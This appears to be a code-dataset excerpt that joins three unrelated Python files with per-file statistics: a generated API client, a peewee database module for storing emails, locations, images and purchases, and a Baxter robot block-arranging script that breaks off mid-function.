(params['product_id'] is None): raise ValueError("Missing the required parameter `product_id` when calling `get_product_features`") collection_formats = {} resource_path = '/products/{product_id}/features'.replace('{format}', 'json') path_params = {} if 'product_id' in params: path_params['product_id'] = params['product_id'] query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Features', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_video_features(self, video_id, **kwargs): """ Get video features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_video_features(video_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int video_id: Video ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_video_features_with_http_info(video_id, **kwargs) else: (data) = self.get_video_features_with_http_info(video_id, **kwargs) return data def get_video_features_with_http_info(self, video_id, **kwargs): """ Get video features This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_video_features_with_http_info(video_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int video_id: Video ID to fetch (required) :param int page: :param int per_page: :return: Features If the method is called asynchronously, returns the request thread. """ all_params = ['video_id', 'page', 'per_page'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_video_features" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'video_id' is set if ('video_id' not in params) or (params['video_id'] is None): raise ValueError("Missing the required parameter `video_id` when calling `get_video_features`") collection_formats = {} resource_path = '/videos/{video_id}/features'.replace('{format}', 'json') path_params = {} if 'video_id' in params: path_params['video_id'] = params['video_id'] query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'per_page' in params: query_params['per_page'] = params['per_page'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['ApiClientId', 'ApiClientSecret'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Features', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

44.131535

332

0.561674

5,274

52,340

5.316648

0.034319

0.062767

0.021969

0.028245

0.972682

0.965086

0.951462

0.943153

0.934023

0.926961

0

0.001237

0.351337

52,340

1,185

333

44.168776

0.824659

0.325506

0

0.811765

1

0

0.181827

0.051122

0

1

0.038655

false

0

0.011765

0

0.107563

0

null

0

1

0

1

0

null

0

8

53b0e2c4a1130f04b748da190599bff303b19f11

36,888

py

Python

Application/datasources/datapod_google/db_calls.py

GraphicalDot/datapod-backend-layer

ab38a5b0e969cd0d762e9d7720ab89174c333c37

[ "Apache-2.0" ]

null

Application/datasources/datapod_google/db_calls.py

GraphicalDot/datapod-backend-layer

ab38a5b0e969cd0d762e9d7720ab89174c333c37

[ "Apache-2.0" ]

null

Application/datasources/datapod_google/db_calls.py

GraphicalDot/datapod-backend-layer

ab38a5b0e969cd0d762e9d7720ab89174c333c37

[ "Apache-2.0" ]

null

import aiomisc #@retry(stop=stop_after_attempt(2)) import json import datetime from peewee import IntegrityError, OperationalError from errors_module.errors import APIBadRequest, DuplicateEntryError from loguru import logger @aiomisc.threaded def update_status(status_table, datasource_name, username, status, checksum=None, path=None, original_path=None): try: status_table.insert(source=datasource_name, username=username, status=status, path = path, original_path=original_path, checksum=checksum ).execute() except IntegrityError as e: logger.error(f"Couldnt insert {datasource_name} because of {e} so updating it") if path and original_path: status_table.update( status=status, path = path, checksum=checksum, original_path=original_path).\ where(status_table.username==username).\ execute() elif original_path: status_table.update( status=status, checksum=checksum, original_path=original_path).\ where(status_table.username==username).\ execute() elif path: status_table.update( status=status, checksum=checksum, path=path).\ where(status_table.username==username).\ execute() else: status_table.update( checksum=checksum, status=status).\ where(status_table.username==username).\ execute() except Exception as e: logger.error(f"Couldnt {datasource_name} updated because of {e}") return @aiomisc.threaded def update_percentage(status_table, datasource_name, username, percentage): status_table.update( percentage=percentage, last_updated=datetime.datetime.now()).\ where(status_table.username==username).\ execute() return @aiomisc.threaded def delete_status(status_table, datasource_name, username): try: status_table.delete().where(status_table.username==username).execute() except Exception as e: logger.error(f"Couldnt delete {datasource_name} updated because of {e}") return @aiomisc.threaded def delete_archive(archives_table, checksum): try: archives_table.delete().where(archives_table.checksum==checksum).execute() except Exception as e: logger.error(f"Couldnt delete {checksum} from archives table because of {e}") return @aiomisc.threaded def update_stats(stats_table, datasource_name, username, data_items, size, sync_frequency, sync_type, next_sync): """ """ try: stats_table.insert( source = datasource_name, username = username, data_items = data_items, disk_space_used = size, sync_frequency = sync_frequency, sync_type = sync_type, next_sync = next_sync).execute() except IntegrityError as e: logger.error(f"Couldnt insert stats for {datasource_name} because of {e} so updating it") stats_table.update( data_items = data_items, disk_space_used = size).\ where(stats_table.username==username).\ execute() except Exception as e: logger.error(f"Couldnt {datasource_name} updated because of {e}") return @aiomisc.threaded def get_status(status_table, username=None): logger.info(f"This is the username {username}") if not username: return status_table.select().dicts() return status_table.select().where(status_table.username==username).dicts() @aiomisc.threaded def get_stats(stats_table): return stats_table.select().dicts() #@retry(stop=stop_after_attempt(2)) @aiomisc.threaded def store_email(**data): """ purchases: a list of purchases dict """ email_table = data["tbl_object"] try: email_table.insert(email_id=data["email_id"], from_addr=data["from_addr"], to_addr=data["to_addr"], subject=data["subject"], username = data["username"], checksum=data["checksum"], content=data["content"], email_id_raw= data["email_id_raw"], message_type = data["message_type"], attachments = data["attachments"], category=data["category"], categories = data["categories"], date=data["date"], path=data["path"]).execute() #logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--") except IntegrityError: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity raise DuplicateEntryError(data['email_id'], "Email") except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Email data insertion failed {data['email_id']} with {e}") return @aiomisc.threaded def store_email_content(**data): """ purchases: a list of purchases dict """ index_email_content_table = data["tbl_object"] try: index_email_content_table.insert(email_id=data["email_id"], content=data["content"], username = data["username"], checksum=data["checksum"], content_hash=data["content_hash"], attachments = data["attachments"]).execute() #logger.success(f"Success on insert indexed content for email_id --{data['email_id']}-- ") except IntegrityError as e: logger.error(f"Error on insert indexed content for email_id --{data['email_id']}-- with error {e}") except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Email content insertion failed {data['email_id']} with {e}") return #@retry(stop=stop_after_attempt(2)) @aiomisc.threaded def store_bulk_locations(locations_table, locations_data_list): """ purchases: a list of purchases dict """ for __object in locations_data_list: activity = __object.get("activity") if activity: activity = json.dumps(activity) __object.update({"activity": activity }) try: locations_table.insert_many(locations_data_list).execute() except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Location data insertion failed with {e}") return @aiomisc.threaded def store_bulk_locations_approximate(location_approximate_table, locations_data_list): """ purchases: a list of purchases dict """ for __object in locations_data_list: activity = __object.get("activity") if activity: activity = json.dumps(activity) latitude = "{0:.4f}".format(__object["latitude"]) longitude = "{0:.4f}".format(__object["longitude"]) __object.update({"activity": activity, "longitude": longitude, "latitude": latitude }) try: location_approximate_table.insert_many(locations_data_list).execute() except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Location data insertion failed with {e}") return #@retry(stop=stop_after_attempt(2)) @aiomisc.threaded def store_locations_approximate(**data): """ purchases: a list of purchases dict """ table = data["tbl_object"] activity = data.get("activity") if activity: activity = json.dumps(activity) try: table.insert( username = data["username"], checksum = data["checksum"], lattitude = data["latitude"], longitude = data["longitude"], _lattitude = data["_latitude"], _longitude = data["_longitude"], time = data["time"], accuracy = data["time"], velocity = data["time"], altitude = data["altitude"], activity = data["activity"], heading = data["heading"], vertical_accuracy = data["vertical_accuracy"], count = 1 ).execute() #logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--") except IntegrityError: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity table.update(count= table.count+1).where(table.latitude==data["latitude"], table.longitude==data["longitude"] ).execute() logger.warning(f'Found duplicate for {data["latitude"]} {data["longitude"]} so updating the counter') except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Location data insertion failed {data} with {e}") return @aiomisc.threaded def store_locations(**data): """ """ table = data["tbl_object"] latitude = "{0:.4f}".format(data["latitude"]) longitude = "{0:.4f}".format(data["longitude"]) activity = data.get("activity") if activity: activity = json.dumps(activity) try: table.insert( username = data["username"], checksum = data["checksum"], lattitude = latitude, longitude = longitude, time = data["time"], accuracy = data["time"], velocity = data["time"], altitude = data["altitude"], activity = activity, heading = data["heading"], vertical_accuracy = data["vertical_accuracy"], count = 1 ).execute() #logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--") except IntegrityError: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity table.update(count= table.count+1).where(table.latitude==latitude, table.longitude==longitude ).execute() logger.warning(f'Found duplicate for {data["latitude"]} {data["longitude"]} so updating the counter') except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"locate approximate data insertion failed {data} with {e}") return #@retry(stop=stop_after_attempt(2)) @aiomisc.threaded def store_email_attachment(**data): """ purchases: a list of purchases dict """ email_attachment_table = data["tbl_object"] try: email_attachment_table.insert(email_id=data["email_id"], path=data["path"], username = data["username"], checksum=data["checksum"], attachment_name=data["attachment_name"], message_type= data["message_type"], date=data["date"]).execute() # logger.success(f"Success on insert attachement for email_id --{data['email_id']}-- \ # path --{data['path']}-- and attachement name {data['attachment_name']}") except IntegrityError as e: logger.error(f"Error on insert attachement for email_id --{data['email_id']}-- \ path --{data['path']}-- and attachement name {data['attachment_name']}\ with error {e}") except Exception as e: #raise DuplicateEntryError(data['email_id'], "Email") #use with tenacity logger.error(f"Email sttachment insertion failed {data['email_id']} with {e}") return @aiomisc.threaded def filter_attachments(tbl_object, username, message_type, start_date, end_date, skip, limit): """ purchases: a list of purchases dict """ # email_attachment_table = tbl_object # return email_attachment_table\ # .select()\ # .order_by(-email_attachment_table.date)\ # .paginate(page, number)\ # .dicts() if start_date and end_date: logger.info("Start date and end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date> start_date) &\ (tbl_object.date < end_date)) elif start_date and not end_date: logger.info("Start date and but not end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)& (tbl_object.date> start_date)) elif end_date and not start_date: logger.info("not Start date and but end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date < end_date)) else: # not start_date and not end_date logger.info("Start date and end date is not present") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &(tbl_object.message_type== message_type)) return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def filter_attachments_on_text(tbl_object, username, message_type, start_date, end_date, skip, limit, search_text): """ purchases: a list of purchases dict """ # email_attachment_table = tbl_object # return email_attachment_table\ # .select()\ # .order_by(-email_attachment_table.date)\ # .paginate(page, number)\ # .dicts() if start_date and end_date: logger.info("Start date and end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachment_name**f'%{search_text}%') &\ (tbl_object.message_type== message_type)&\ (tbl_object.date> start_date) &\ (tbl_object.date < end_date)) elif start_date and not end_date: logger.info("Start date and but not end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachment_name**f'%{search_text}%') &\ (tbl_object.message_type== message_type)& (tbl_object.date> start_date)) elif end_date and not start_date: logger.info("not Start date and but end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachment_name**f'%{search_text}%') &\ (tbl_object.message_type== message_type)&\ (tbl_object.date < end_date)) else: # not start_date and not end_date logger.info("Start date and end date is not present") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachment_name**f'%{search_text}%') &\ (tbl_object.message_type== message_type)) return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def get_emails(tbl_object, username, message_type, start_date, end_date, skip, limit, attachments): """ """ logger.info(f"This is the username {username} and attahmdents {attachments}") # return email_attachment_table\ # .select()\ # .order_by(-email_attachment_table.date)\ # .where(email_attachment_table.message_type== message_type)\ # .paginate(page, number)\ # .dicts() if attachments: if start_date and end_date: logger.info("Start date and end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachments) &\ (tbl_object.message_type== message_type)& \ (tbl_object.date> start_date) &\ (tbl_object.date < end_date)) elif start_date and not end_date: logger.info("Start date and but not end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachments) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date> start_date)) elif end_date and not start_date: logger.info("not Start date and but end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachments) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date < end_date)) else: # not start_date and not end_date logger.info("Start date and end date is not present") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.attachments) &\ (tbl_object.message_type== message_type)) return query.offset(skip).limit(limit).dicts(), query.count() if start_date and end_date: logger.info("Start date and end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)& \ (tbl_object.date> start_date) &\ (tbl_object.date < end_date)) elif start_date and not end_date: logger.info("Start date and but not end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date> start_date)) elif end_date and not start_date: logger.info("not Start date and but end date") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &\ (tbl_object.message_type== message_type)&\ (tbl_object.date < end_date)) else: # not start_date and not end_date logger.info("Start date and end date is not present") query = tbl_object\ .select()\ .order_by(-tbl_object.date)\ .where((tbl_object.username ==username) &(tbl_object.message_type== message_type)) return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def match_text(tbl_object, username, indexed_obj, matching_string, message_type, start_date, end_date, skip, limit, attachments): """ for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)): print(tweet.message, tweet.created_date) """ # query = (tbl_object # .select() # .join(index_email_obj, on=(email_tbl_object.email_id == index_email_obj.email_id)) # .where(index_email_obj.match(matching_string)) # .dicts()) # return list(query) if attachments: if start_date and end_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where(indexed_obj.match(matching_string) & (tbl_object.username ==username) &\ (tbl_object.date> start_date) &(tbl_object.date < end_date) &(tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) elif start_date and not end_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where((indexed_obj.match(matching_string)) & (tbl_object.username ==username) &\ (tbl_object.date> start_date) &(tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) elif end_date and not start_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where((indexed_obj.match(matching_string)) (tbl_object.username ==username) \ &(tbl_object.date < end_date) & (tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) else: # not start_date and not end_date query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id) & (tbl_object.username ==username) &\ (tbl_object.message_type== message_type))\ .where(indexed_obj.match(matching_string))\ return query.offset(skip).limit(limit).dicts(), query.count() if start_date and end_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where(indexed_obj.match(matching_string) & (tbl_object.username ==username) &\ (tbl_object.date> start_date) &(tbl_object.date < end_date) &(tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) elif start_date and not end_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where((indexed_obj.match(matching_string)) & (tbl_object.username ==username) &\ (tbl_object.date> start_date) &(tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) elif end_date and not start_date: query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id))\ .where((indexed_obj.match(matching_string)) (tbl_object.username ==username) \ &(tbl_object.date < end_date) & (tbl_object.message_type== message_type))\ .order_by(-tbl_object.date) else: # not start_date and not end_date query = tbl_object\ .select()\ .join(indexed_obj, on=(tbl_object.email_id == indexed_obj.email_id) & (tbl_object.username ==username) &\ (tbl_object.message_type== message_type))\ .where(indexed_obj.match(matching_string))\ return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def store_images(**data): """ purchases: a list of purchases dict """ table = data["tbl_object"] try: geo_data = json.dumps(data['geo_data']) table.insert( creation_time=data["creation_time"], modification_time=data["modification_time"], username = data["username"], checksum=data["checksum"], photo_taken_time=data["photo_taken_time"], description=data["description"], url=data["url"], title=data["title"], geo_data=geo_data, image_path=data["image_path"]).execute() logger.success(f"IMAGES: success on insert {data['username']} image {data['image_path']}") except OperationalError as e: logger.error(f"IMAGES: Couldnt save image data {data['username']} because of {e}") except IntegrityError as e: logger.error(f"IMAGES: Duplicate image key exists {data['username']} because of {e}") # except Exception as e: # logger.error(f"IMAGES: {data['username']} because of {e}") return @aiomisc.threaded def filter_images(tbl_object, username, start_date, end_date, skip, limit): """ for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)): print(tweet.message, tweet.created_date) """ ##startDate must be greater then Enddate if start_date and end_date: query = tbl_object\ .select()\ .where((tbl_object.username ==username) \ &(tbl_object.creation_time> start_date) \ &(tbl_object.creation_time < end_date))\ .order_by(-tbl_object.creation_time) elif start_date and not end_date: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &(tbl_object.creation_time> start_date))\ .order_by(-tbl_object.creation_time)\ elif end_date and not start_date: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &(tbl_object.creation_time < end_date))\ .order_by(-tbl_object.creation_time)\ else: # not start_date and not end_date query = tbl_object\ .select()\ .where(tbl_object.username ==username)\ .order_by(-tbl_object.creation_time)\ return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def filter_locations(tbl_object, username, start_date, end_date): """ for tweet in Tweet.select().where(Tweet.created_date < datetime.datetime(2011, 1, 1)): print(tweet.message, tweet.created_date) """ ##startDate must be greater then Enddate if start_date and end_date: query = tbl_object\ .select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\ .where((tbl_object.username ==username) \ &(tbl_object.time> start_date) \ &(tbl_object.time < end_date))\ .order_by(-tbl_object.time) elif start_date and not end_date: query = tbl_object\ .select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\ .where((tbl_object.username ==username) &(tbl_object.time> start_date))\ .order_by(-tbl_object.time)\ elif end_date and not start_date: query = tbl_object\ .select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\ .where((tbl_object.username ==username) &(tbl_object.time < end_date))\ .order_by(-tbl_object.time)\ else: # not start_date and not end_date query = tbl_object\ .select(tbl_object.lattitude, tbl_object.longitude, tbl_object.time)\ .where(tbl_object.username ==username)\ .order_by(-tbl_object.time)\ return query.dicts(), query.count() @aiomisc.threaded def store_purchases(**data): """ purchases: a list of purchases dict """ table = data["tbl_object"] try: products = json.dumps(data["products"]) table.insert(merchant_name=data["merchant_name"], products=products, username = data["username"], checksum=data["checksum"], time=data["time"]).execute() logger.info(f"On insert the purchase for {data['merchant_name']}") except OperationalError as e: logger.error(f"PURCHASES: Couldnt save purchase data {data['merchant_name']} because of {e}") except IntegrityError as e: logger.error(f"PURCHASES: Duplicate key exists {data['merchant_name']} because of {e}") return @aiomisc.threaded def store_reservations(**data): """ purchases: a list of purchases dict """ table = data["tbl_object"] try: table.insert(merchant_name=data["merchant_name"], src= data["src"], dest=data["dest"], username = data["username"], checksum=data["checksum"], time=data["time"]).execute() logger.info(f"On insert the reservations for {data['merchant_name']}") except OperationalError as e: logger.error(f"RESERVATIONS: Couldnt save reservations data {data['merchant_name']} because of {e}") except IntegrityError as e: logger.error(f"RESERVATIONS: Duplicate key exists {data['merchant_name']} because of {e}") return @aiomisc.threaded def filter_purchases(tbl_object, username, start_date, end_date, skip, limit, merchant_name): logger.info(f"Merchant name received is {merchant_name}") if start_date and end_date: if merchant_name: query = tbl_object\ .select()\ .where((tbl_object.username ==username)\ &(tbl_object.time> start_date) \ &(tbl_object.time < end_date)\ &(tbl_object.merchant_name==merchant_name))\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where((tbl_object.time> start_date) &(tbl_object.time < end_date))\ .order_by(-tbl_object.time) elif start_date and not end_date: if merchant_name: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time> start_date)\ &(tbl_object.merchant_name==merchant_name))\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where(tbl_object.time> start_date)\ .order_by(-tbl_object.time) elif end_date and not start_date: if merchant_name: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time < end_date)&\ (tbl_object.merchant_name==merchant_name))\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where(tbl_object.username ==username) &(tbl_object.time < end_date)\ .order_by(-tbl_object.time)\ else: # not start_date and not end_date if merchant_name: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &(tbl_object.merchant_name**f'%{merchant_name}%'))\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where(tbl_object.username ==username)\ .order_by(-tbl_object.time)\ return query.offset(skip).limit(limit).dicts(), query.count() @aiomisc.threaded def filter_reservations(tbl_object, username, start_date, end_date, skip, limit, text): if start_date and end_date: if text: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time> start_date) &\ (tbl_object.time < end_date)&\ (tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time> start_date)&\ (tbl_object.time < end_date))\ .order_by(-tbl_object.time) elif start_date and not end_date: if text: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time> start_date) &\ (tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &(tbl_object.time> start_date))\ .order_by(-tbl_object.time) elif end_date and not start_date: if text: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time < end_date)&\ (tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.time < end_date))\ .order_by(-tbl_object.time) else: # not start_date and not end_date if text: query = tbl_object\ .select()\ .where((tbl_object.username ==username) &\ (tbl_object.src**f'%{text}%') | (tbl_object.dest**f'%{text}%') )\ .order_by(-tbl_object.time) else: query = tbl_object\ .select()\ .where((tbl_object.username ==username))\ .order_by(-tbl_object.time) return query.offset(skip).limit(limit).dicts(), query.count()

35.232092

129

0.53516

3,766

36,888

5.008497

0.051248

0.129785

0.048669

0.051956

0.867936

0.850175

0.821493

0.78067

0.753844

0.739582

0

0.001468

0.353502

36,888

1,046

130

35.265774

0.789458

0.097349

0

0.77761

0

0.096277

0.004855

0

1

0.037821

false

0

0.009077

0.001513

0.089259

0

null

0

1

0

1

0

null

0

7

53e1fe0c736796263e39c1dc1f76a5cc642388ef

6,349

py

Python

baxter_ras_interface/scripts/tablero.py

gabrieldiaz94/RAS-Baxter-Interface

7766d012617bffd09e42b6b76ea105fb3fe24481

[ "Apache-2.0" ]

1

2022-03-06T15:47:33.000Z

baxter_ras_interface/scripts/tablero.py

willandru/RAS-Baxter-Interface

7766d012617bffd09e42b6b76ea105fb3fe24481

[ "Apache-2.0" ]

null

baxter_ras_interface/scripts/tablero.py

willandru/RAS-Baxter-Interface

7766d012617bffd09e42b6b76ea105fb3fe24481

[ "Apache-2.0" ]

1

2022-03-06T15:46:37.000Z

#!/usr/bin/env python import sys import yaml import operator import rospy sys.path.append('/home/z420/ros_ws/src/jp_baxtertry1/scripts') import Baxtermovimiento2 def yaml_loader(filepath): """Loads a yaml file""" with open(filepath, "r") as stream: data =yaml.load(stream) return data def traer_ficha(t,i,j,m,n,camara,data,data_list,data_list2,color,dificultad): aux = 0 bandera_mov=0 for k in xrange(m): for l in xrange(n): if camara[k][l] == data[data_list[dificultad][0]][data_list2[t][0]][k][l]: pass elif camara[k][l] == color: # si encuentre un cubo del color que se quiere, lo lleva donde necesito print ("traer ficha de [k][l] a [i][j]") aux = camara[i][j] puntoa=(k,l) puntob=(i,j) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux break else: pass if camara[i][j] == color: break def quitar_ficha(t,i,j,m,n,camara,data,data_list,data_list2,color,dificultad): aux = 0 bandera_mov=0 for k in xrange(m): # busco si esta ficha se necesita en algun otro lado for l in xrange(n): if k <= i and l <= j: # no muevo lo que ya esta organizado pass elif camara[k][l] == 0 and data[data_list[dificultad][0]][data_list2[t][0]][k][l]==color: # si encuentre un espacio vacio y que la necesite,traigo la otra ficha print ("quitar ficha de [i][j] a [k][l]") aux = camara[i][j] puntoa=(i,j) puntob=(k,l) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux bandera_mov=1; break else: pass if camara[i][j] == 0: break if bandera_mov==0: for k in xrange(m): # si no se necesita en otro lado la pongo en un sitio vacio for l in xrange(n): if k <= i and l <= j: # no muevo lo que ya esta organizado pass elif camara[k][l] == 0: # si encuentre un espacio vacio, traigo la otra ficha print ("5mover ficha de [i][j] a [k][l]") print i,j,k,l aux = camara[i][j] puntoa=(i,j) puntob=(k,l) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux break else: pass if camara[i][j] == 0: break def traer_ficha2(i,j,m,n,camara,data,color,dificultad): aux = 0 bandera_mov=0 for k in xrange(m): for l in xrange(n): if camara[k][l] == data[k][l]: pass elif camara[k][l] == color: # si encuentre un cubo del color que se quiere, lo lleva donde necesito print ("traer ficha de [k][l] a [i][j]") aux = camara[i][j] puntoa=(k,l) puntob=(i,j) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux break else: pass if camara[i][j] == color: break def quitar_ficha2(i,j,m,n,camara,data,color,dificultad): aux = 0 bandera_mov=0 for k in xrange(m): # busco si esta ficha se necesita en algun otro lado for l in xrange(n): if k <= i and l <= j: # no muevo lo que ya esta organizado pass elif camara[k][l] == 0 and data[k][l]==color: # si encuentre un espacio vacio y que la necesite,traigo la otra ficha print ("quitar ficha de [i][j] a [k][l]") aux = camara[i][j] puntoa=(i,j) puntob=(k,l) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux bandera_mov=1; break else: pass if camara[i][j] == 0: break if bandera_mov==0: for k in xrange(m): # si no se necesita en otro lado la pongo en un sitio vacio for l in xrange(n): if k <= i and l <= j: # no muevo lo que ya esta organizado pass elif camara[k][l] == 0: # si encuentre un espacio vacio, traigo la otra ficha print ("mover ficha de [i][j] a [k][l]") aux = camara[i][j] puntoa=(i,j) puntob=(k,l) Baxtermovimiento2.moverbaxter(puntoa,puntob,1,camara) Baxtermovimiento2.finalpose(1) camara[i][j]=camara[k][l] camara[k][l]=aux break else: pass if camara[i][j] == 0: break def tablero2(m,n,data,cont_color,cont_color2,dificultad,camara): for i in xrange(m): for j in xrange(n): if data[i][j] == 0: cont_color[0] = cont_color[0] + 1 elif data[i][j] == 1: cont_color[1] = cont_color[1] + 1 elif data[i][j] == 2: cont_color[2] = cont_color[2] + 1 elif data[i][j] == 3: cont_color[3] = cont_color[3] + 1 elif data[i][j] == 4: cont_color[4] = cont_color[4] + 1 else: print("color no valido") for i in xrange(m): for j in xrange(n): if camara[i][j] == 0: cont_color2[0] = cont_color2[0] + 1 elif camara[i][j] == 1: cont_color2[1] = cont_color2[1] + 1 elif camara[i][j] == 2: cont_color2[2] = cont_color2[2] + 1 